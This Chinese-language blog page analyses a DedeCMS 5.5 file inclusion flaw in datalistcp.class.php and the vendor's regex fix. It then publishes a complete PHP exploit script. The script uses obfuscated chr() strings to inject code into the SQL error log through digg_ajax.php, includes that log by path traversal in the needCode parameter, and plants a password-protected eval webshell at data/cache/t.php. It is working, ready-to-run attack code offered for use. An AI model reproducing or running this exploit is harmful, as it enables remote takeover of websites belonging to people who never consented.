RSS

分析DEDECMS 5.5 datalistcp.class.php 包含

109 Comments | This entry was posted on Apr 03 2010

作者:st0p
转载请注明出处 http://www.st0p.org

老早就看到有人发的洞,一直想过写分析来着,最近一直呆在UBUNTU下安装东西。。老忘。。。
有时有些朋友加我,教他找洞。。。这个好似是个累活,而且运气占很大一部分。。。所以我还是尽量帮分析过程发出来吧,也方便我自己学习。
具体的EXP,请看:http://www.st0p.org/blog/archives/dedecms-5-5-datalistcp-class-php-contains-exp.html

以前呢,DEDECMS会把出错的SQL信息,写进mysql_error_trace.php,后来被大牛们爆出来了。就改名为mysql_error_trace.inc了。。。
没想到这次又被包含了。。。看来记录SQL信息也不是啥好事。。。

这个EXP的原理呢,是通过构造特殊的请求给plus/digg_ajax.php来达到写入我们的语句到mysql_error_trace.inc,当然可以满足我们这一步写入到mysql_error_trace.inc的文件还有不少。。不过想要执行他就不可能了。。然后这次报出的洞呢就是运气很好才能碰到的。。
关键代码存在于

/include/datalistcp.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
...
$codefile = (isset($needCode) ? $needCode : $cfg_soft_lang);
 
//通过isset函数检查$needCode是否已配置,如已配置则结果为$needCode,否则结果为$cfg_soft_lang
//当我们伪造结果为aa/../../../data/mysql_error_trace时
 
if(file_exists(DEDEINC.'/code/datalist.'.$codefile.'.inc'))
 
{
 
	require_once(DEDEINC.'/code/datalist.'.$codefile.'.inc');
 //后缀是.inc
}
//检查文件是否存在,存在则包含。我们通过../成功跳转到到data目录,包含我们刚才构造过的mysql_error_trace.inc
//成功运行我们mysql_error_trace.inc在构造的语句。。。
...

郁闷,前几次想写分析的时候官方还没补呢。。刚去官方看了下通过正则进行了修补

1
2
3
4
5
6
7
8
9
10
11
$codefile = (isset($needCode) ? $needCode : $cfg_soft_lang);
 
$codefile = preg_replace("/[\w-]/", '', $codefile);
 //通过正则过滤了。。。
if(file_exists(DEDEINC.'/code/datalist.'.$codefile.'.inc'))
 
{
 
	require_once(DEDEINC.'/code/datalist.'.$codefile.'.inc');
 
}

DEDECMS 5.5 datalistcp.class.php 包含 EXP

1,457 Comments | This entry was posted on Apr 03 2010

来源于互联网,具体作者不详。看到好久了,一直是想写分析在发出来。老望。。。最近RSS订阅中好多这个,先发一下记录。有空分析,官方已修补。。

执行成功会在data/cache下生成t.php一句话小马
密码x

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php
print_r('
+----------------------------------------+
dedecms v5.5 final getwebshell exploit
+----------------------------------------+
');
if ($argc < 3) {
print_r('
+----------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to dedecms
Example:
php '.$argv[0].' localhost /dedecms/
+----------------------------------------+   
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
 
$host = $argv[1];
$path = $argv[2];
 
$post_a = 'plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(120).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*';
$post_b = 'needCode=aa/../../../data/mysql_error_trace';
$shell = 'data/cache/t.php';
 
get_send($post_a);
post_send('plus/comments_frame.php',$post_b);
$content = post_send($shell,'t=echo tojen;');
 
if(substr($content,9,3)=='200'){
    echo "\nShell Address is:".$host.$path.$shell;
}else{
    echo "\nError.";
}
function get_send($url){
    global $host, $path;
    $message = "GET ".$path."$url  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: http://$host$path\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: $host\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $fp = fsockopen($host, 80);
    if(!$fp){
        echo "\nConnect to host Error";
    }
    fputs($fp, $message);
 
    $back = '';
 
    while (!feof($fp))
        $back .= fread($fp, 1024);
    fclose($fp);
    return $back;
 
}
function post_send($url,$cmd){
 
    global $host, $path;
    $message = "POST ".$path."$url  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: http://$host$path\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: $host\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;
    $fp = fsockopen($host, 80);
    if(!$fp){
        echo "\nConnect to host Error";
    }
    fputs($fp, $message);
 
    $back = '';
 
    while (!feof($fp))
        $back .= fread($fp, 1024);
    fclose($fp);
    return $back;
}
?>